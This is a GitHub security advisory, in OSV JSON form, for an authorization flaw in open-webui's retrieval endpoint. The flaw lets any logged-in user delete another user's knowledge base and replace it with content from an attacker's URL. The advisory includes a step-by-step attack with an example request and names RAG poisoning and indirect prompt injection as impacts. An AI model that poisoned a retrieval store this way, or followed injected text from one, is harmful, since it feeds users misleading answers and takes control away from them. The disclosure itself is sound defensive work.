Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T19:51:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite\n\n## Affected Component\n\nRetrieval web/YouTube processing endpoints:\n- `backend/open_webui/routers/retrieval.py` (lines 1810-1837, `process_web`)\n- `backend/open_webui/routers/retrieval.py` (the parallel `process_youtube` endpoint)\n- `backend/open_webui/routers/retrieval.py` (line 1445, `save_docs_to_vector_db` call chain)\n\n## Affected Versions\n\nCurrent main branch (commit `6fdd19bf1`) and likely all versions with RAG/knowledge base functionality.\n\n## Description\n\nThe `POST /api/v1/retrieval/process/web` endpoint accepts a user-supplied `collection_name` and an `overwrite` query parameter (default: `True`). It performs no authorization check on whether the calling user owns or has write access to the target collection. When `overwrite=True`, `save_docs_to_vector_db` calls `VECTOR_DB_CLIENT.delete_collection()` on the target collection before writing new content.\n\nCombined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user\u0027s knowledge base UUID and then destroy or poison it.\n\n```python\n# retrieval.py:1810-1837 \u2014 no collection authorization check\n@router.post(\u0027/process/web\u0027)\nasync def process_web(\n    request: Request,\n    form_data: ProcessUrlForm,\n    user=Depends(get_verified_user),\n    ...\n):\n    # ... fetch and process the URL ...\n    save_docs_to_vector_db(\n        request=request,\n        docs=docs,\n        collection_name=form_data.collection_name,  # attacker-controlled, unchecked\n        overwrite=overwrite,                        # defaults to True\n        ...\n    )\n```\n\n## CVSS 3.1 Breakdown\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network (N) | Exploited remotely via API call |\n| Attack Complexity | Low (L) | Single API call with a known KB UUID |\n| Privileges Required | Low (L) | Requires any authenticated user account |\n| User Interaction | None (N) | No victim interaction required |\n| Scope | Unchanged (U) | Impact within the knowledge base authorization boundary |\n| Confidentiality | None (N) | No data disclosure from this vulnerability directly |\n| Integrity | High (H) | Complete replacement of victim\u0027s KB content with attacker-controlled data |\n| Availability | High (H) | Victim\u0027s original KB embeddings are deleted; KB effectively destroyed |\n\n## Attack Scenario\n\n1. Attacker discovers victim\u0027s KB UUID via the `knowledge-bases` meta-collection (separate finding) or other enumeration.\n2. Attacker sends:\n   ```\n   POST /api/v1/retrieval/process/web?overwrite=true\n   {\n     \"url\": \"https://attacker.com/poison\",\n     \"collection_name\": \"\u003cvictim_kb_uuid\u003e\"\n   }\n   ```\n3. The endpoint fetches content from the attacker\u0027s URL.\n4. `save_docs_to_vector_db` deletes the entire vector collection belonging to the victim\u0027s knowledge base.\n5. The attacker\u0027s fetched content is embedded and written as the new collection content.\n6. Victim\u0027s RAG queries against their KB now return attacker-controlled content instead of their original documents.\n\n## Impact\n\n- **Data destruction:** Victim\u0027s original KB embeddings are permanently deleted from the vector store\n- **RAG poisoning:** Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim\n- **Indirect prompt injection:** Poisoned content can contain crafted prompts that manipulate the victim\u0027s LLM behavior when queried\n- **Persistence:** The poisoned content persists until the KB is rebuilt from source files\n\n## Preconditions\n\n- Attacker must have a valid user account\n- Attacker must know the target collection name (KB UUID) \u2014 easily obtained via the `knowledge-bases` enumeration finding",
  "id": "GHSA-7r82-qhg4-6wvj",
  "modified": "2026-05-08T19:51:14Z",
  "published": "2026-05-08T19:51:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-7r82-qhg4-6wvj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite"
}